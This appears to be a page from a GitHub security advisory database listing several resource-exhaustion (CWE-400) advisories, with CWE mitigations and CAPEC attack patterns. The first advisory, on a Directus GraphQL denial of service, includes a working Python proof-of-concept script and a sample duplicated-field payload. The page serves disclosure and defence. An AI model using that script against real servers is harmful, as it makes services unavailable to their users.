"details": "### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n\n\n\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the \u0027max\u0027 field is duplicated many times, each with the \u0027id\u0027 field duplicated many times inside it.\n`{\u0027query\u0027: \u0027query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }\u0027}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = \u0027http://0.0.0.0:8055/graphql\u0027\nauth_token = \u0027\u0027 \nquery_name = \u0027query_XXXXX\u0027 \ncollection_name = \u0027\u0027 \n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Authorization\u0027: f\u0027Bearer {auth_token}\u0027,\n}\n\nid_payload = \u0027id \u0027 * 200\nmax_payload = \u0027max {\u0027 + id_payload + \u0027 } \u0027\nfull_payload = max_payload * 200\n\ndata = {\n \u0027query\u0027: \u0027query { \u0027 + query_name + \u0027: \u0027 + collection_name + \u0027_aggregated { \u0027 + full_payload + \u0027 } }\u0027\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n\n\n\nAfter running it the service will be unresponsive for a while:\n\n\n\n### Impact\nThe vulnerability impacts the service\u0027s availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.",
"id": "GHSA-7hmh-pfrp-vcx4",
"modified": "2024-11-18T16:26:50Z",
"published": "2024-07-08T18:41:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39895"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Directus GraphQL Field Duplication Denial of Service (DoS)"
}
GHSA-7HMM-WG23-2W7M
Vulnerability from github – Published: 2024-05-05 03:30 – Updated: 2024-07-03 20:13OFPGroupDescStats in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via OFPBucket.len=0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ryu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34483"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-06T14:30:04Z",
"nvd_published_at": "2024-05-05T02:15:06Z",
"severity": "HIGH"
},
"details": "`OFPGroupDescStats` in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via `OFPBucket.len=0`.",
"id": "GHSA-7hmm-wg23-2w7m",
"modified": "2024-07-03T20:13:41Z",
"published": "2024-05-05T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34483"
},
{
"type": "WEB",
"url": "https://github.com/faucetsdn/ryu/issues/193"
},
{
"type": "PACKAGE",
"url": "https://github.com/faucetsdn/ryu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Ryu Infinite Loop vulnerability"
}
GHSA-7HPJ-HFCR-5QWM
Vulnerability from github – Published: 2021-12-06 18:17 – Updated: 2024-09-20 21:57A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.7.0"
},
{
"fixed": "4.7.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.0"
},
{
"fixed": "4.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.7.0"
},
{
"fixed": "4.7.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.0"
},
{
"fixed": "4.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-14867"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-12-06T18:13:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.",
"id": "GHSA-7hpj-hfcr-5qwm",
"modified": "2024-09-20T21:57:38Z",
"published": "2021-12-06T18:17:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2019:4268"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0378"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14867"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7hpj-hfcr-5qwm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-db/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/67SEUWJAJ5RMH5K4Q6TS2I7HIMXUGNKF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WLFL5XDCJ3WT6JCLCQVKHZBLHGW7PW4T"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.6.7"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.7.4"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Code injection in FreeIPA"
}
GHSA-7HR8-6Q2G-WQFG
Vulnerability from github – Published: 2026-07-19 18:31 – Updated: 2026-10-30 15:32In the Linux kernel, the following vulnerability has been resolved:
Bluetooth: hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
Since hci_dev_close_sync() can now be called during the reset path, we should also set HCI_CMD_DRAIN_WORKQUEUE. This avoids queuing timeouts while the hdev workqueue is being drained.
{
"affected": [],
"aliases": [
"CVE-2026-63974"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T16:17:16Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close\n\nSince hci_dev_close_sync() can now be called during the reset path, we\nshould also set HCI_CMD_DRAIN_WORKQUEUE. This avoids queuing timeouts\nwhile the hdev workqueue is being drained.",
"id": "GHSA-7hr8-6q2g-wqfg",
"modified": "2026-10-30T15:32:54Z",
"published": "2026-07-19T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63974"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/47330cc875b36a1cf7b3543cb2cf90a7c603ce0e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/525daaea459fc215f432de1b8debbd9144bf97b0"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/60bceb9a4c693e68cc90ba4b2dfb9e000e8638ff"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7b81c1378b79c3143ca3fdb3d18ac0f01cbabb21"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9cebe4680bb9a72f80c6541eb24af06db7a1fbc9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ccf07dfb9d7d1e2c7a1eeb782f90d9b614ebba9c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HRF-MGQX-VHG4
Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2024-07-03 18:42In the Linux kernel, the following vulnerability has been resolved:
enetc: Fix illegal access when reading affinity_hint
irq_set_affinity_hit() stores a reference to the cpumask_t parameter in the irq descriptor, and that reference can be accessed later from irq_affinity_hint_proc_show(). Since the cpu_mask parameter passed to irq_set_affinity_hit() has only temporary storage (it's on the stack memory), later accesses to it are illegal. Thus reads from the corresponding procfs affinity_hint file can result in paging request oops.
The issue is fixed by the get_cpu_mask() helper, which provides a permanent storage for the cpumask_t parameter.
{
"affected": [],
"aliases": [
"CVE-2021-47368"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-21T15:15:22Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nenetc: Fix illegal access when reading affinity_hint\n\nirq_set_affinity_hit() stores a reference to the cpumask_t\nparameter in the irq descriptor, and that reference can be\naccessed later from irq_affinity_hint_proc_show(). Since\nthe cpu_mask parameter passed to irq_set_affinity_hit() has\nonly temporary storage (it\u0027s on the stack memory), later\naccesses to it are illegal. Thus reads from the corresponding\nprocfs affinity_hint file can result in paging request oops.\n\nThe issue is fixed by the get_cpu_mask() helper, which provides\na permanent storage for the cpumask_t parameter.",
"id": "GHSA-7hrf-mgqx-vhg4",
"modified": "2024-07-03T18:42:50Z",
"published": "2024-05-21T15:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47368"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4c4c3052911b577920353a7646e4883d5da40c28"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6c3f1b741c6c2914ea120e3a5790d3e900152f7b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6f329d9da2a5ae032fcde800a99b118124ed5270"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7237a494decfa17d0b9d0076e6cee3235719de90"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HRR-QM54-FXVQ
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are MySQL Server: 8.4.0-8.4.10, 9.7.0-9.7.1; MySQL Cluster: 8.0.0-8.0.47, 8.4.0-8.4.10 and 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-47023"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:07Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are MySQL Server: 8.4.0-8.4.10, 9.7.0-9.7.1; MySQL Cluster: 8.0.0-8.0.47, 8.4.0-8.4.10 and 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-7hrr-qm54-fxvq",
"modified": "2026-07-22T00:31:15Z",
"published": "2026-07-22T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47023"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HXC-HM2F-R4G3
Vulnerability from github – Published: 2022-05-01 02:07 – Updated: 2022-05-01 02:07Opera 8.01 allows remote attackers to cause a denial of service (CPU consumption) via a crafted JPEG image, as demonstrated using random.jpg.
{
"affected": [],
"aliases": [
"CVE-2005-2309"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-07-19T04:00:00Z",
"severity": "MODERATE"
},
"details": "Opera 8.01 allows remote attackers to cause a denial of service (CPU consumption) via a crafted JPEG image, as demonstrated using random.jpg.",
"id": "GHSA-7hxc-hm2f-r4g3",
"modified": "2022-05-01T02:07:02Z",
"published": "2022-05-01T02:07:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2309"
},
{
"type": "WEB",
"url": "http://lcamtuf.coredump.cx/crash"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/405298"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/405524/30/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.